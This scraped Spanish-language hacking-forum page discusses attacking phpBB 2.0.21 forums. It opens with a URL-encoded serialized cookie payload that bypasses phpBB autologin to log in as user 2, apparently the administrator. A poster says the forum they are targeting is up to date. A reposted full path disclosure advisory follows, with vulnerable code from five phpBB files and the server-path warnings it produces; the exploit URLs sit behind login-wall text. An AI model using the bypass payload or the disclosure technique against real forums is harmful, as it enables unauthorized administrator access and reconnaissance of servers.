a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
Pero lo que pasa que el foro esta actucalizado. Y es la ultima version disponible de phpbb.
Y no encuentro nada para esta version.
phpBB 2.0.21 Full Path Disclosure
-------------------------------------------------------------------
Discovered By zero [Moroccan Security Team]
-------------------------------------------------------------------
Details
~~~~~~~
Software: phpBB
Website :
Para ver los enlaces debes ser usuario
Crear Usuario o
Hacer Sesionwww.phpbb.com/about.php
Version : phpBB 2.0.21 and prior
-------------------------------------------------------------------
Para ver los enlaces debes ser usuario
Crear Usuario o
Hacer Sesion]=
# Code #
if ( isset($HTTP_POST_VARS['folder']) || isset($HTTP_GET_VARS['folder']) )
{
$folder = ( isset($HTTP_POST_VARS['folder']) ) ? $HTTP_POST_VARS['folder'] : $HTTP_GET_VARS['folder'];
$folder = htmlspecialchars($folder);
if ( $folder != 'inbox' && $folder != 'outbox' && $folder != 'sentbox' && $folder != 'savebox' )
{
$folder = 'inbox';
}
}
else
{
$folder = 'inbox';
}
# Result #
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/privmsg.php on line 61
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/privmsg.php:61) in /www/phpbb2/includes/sessions.php on line 254
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/privmsg.php:61) in /www/phpbb2/includes/sessions.php on line 255
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/privmsg.php:61) in /www/phpbb2/includes/functions.php on line 941
~~~~~~~~~~~~~~~~~~~~
Para ver los enlaces debes ser usuario
Crear Usuario o
Hacer Sesion]=
# Code #
if ( isset($HTTP_GET_VARS['mode']) || isset($HTTP_POST_VARS['mode']) )
{
$mode = ( isset($HTTP_GET_VARS['mode']) ) ? $HTTP_GET_VARS['mode'] : $HTTP_POST_VARS['mode'];
$mode = htmlspecialchars($mode);
...
# Result #
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/profile.php on line 77
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/profile.php:77) in /www/phpbb2/includes/functions.php on line 941
~~~~~~~~~~~~~~~~~~~~
Para ver los enlaces debes ser usuario
Crear Usuario o
Hacer Sesion]=
# Code #
$params = array('submit' => 'post', 'preview' => 'preview', 'delete' => 'delete', 'poll_delete' => 'poll_delete', 'poll_add' => 'add_poll_option', 'poll_edit' => 'edit_poll_option', 'mode' => 'mode');
while( list($var, $param) = @each($params) )
{
if ( !empty($HTTP_POST_VARS[$param]) || !empty($HTTP_GET_VARS[$param]) )
{
$$var = ( !empty($HTTP_POST_VARS[$param]) ) ? htmlspecialchars($HTTP_POST_VARS[$param]) : htmlspecialchars($HTTP_GET_VARS[$param]);
}
# Result #
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/posting.php on line 38
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:38) in /www/phpbb2/includes/sessions.php on line 366
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:38) in /www/phpbb2/includes/sessions.php on line 367
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:38) in /www/phpbb2/includes/page_header.php on line 483
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:38) in /www/phpbb2/includes/page_header.php on line 485
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:38) in /www/phpbb2/includes/page_header.php on line 486
~~~~~~~~~~~~~~~~~~~~
Para ver los enlaces debes ser usuario
Crear Usuario o
Hacer Sesion]=
# Code #
if ( isset($HTTP_POST_VARS['mode']) || isset($HTTP_GET_VARS['mode']) )
{
$mode = ( isset($HTTP_POST_VARS['mode']) ) ? $HTTP_POST_VARS['mode'] : $HTTP_GET_VARS['mode'];
$mode = htmlspecialchars($mode);
}
else
{
$mode = '';
}
# Result #
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/groupcp.php on line 140
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/groupcp.php:140) in /www/phpbb2/includes/page_header.php on line 483
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/groupcp.php:140) in /www/phpbb2/includes/page_header.php on line 485
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/groupcp.php:140) in /www/phpbb2/includes/page_header.php on line 486
~~~~~~~~~~~~~~~~~~~~
Para ver los enlaces debes ser usuario
Crear Usuario o
Hacer Sesion]=
# Code #
if ( isset($HTTP_POST_VARS['mode']) || isset($HTTP_GET_VARS['mode']) )
{
$mode = ( isset($HTTP_POST_VARS['mode']) ) ? $HTTP_POST_VARS['mode'] : $HTTP_GET_VARS['mode'];
$mode = htmlspecialchars($mode);
}
...
# Result #
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/modcp.php on line 83
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/modcp.php:83) in /www/phpbb2/includes/page_header.php on line 483
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/modcp.php:83) in /www/phpbb2/includes/page_header.php on line 485
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/modcp.php:83) in /www/phpbb2/includes/page_header.php on line 486
-------------------------------------------------------------------
Autor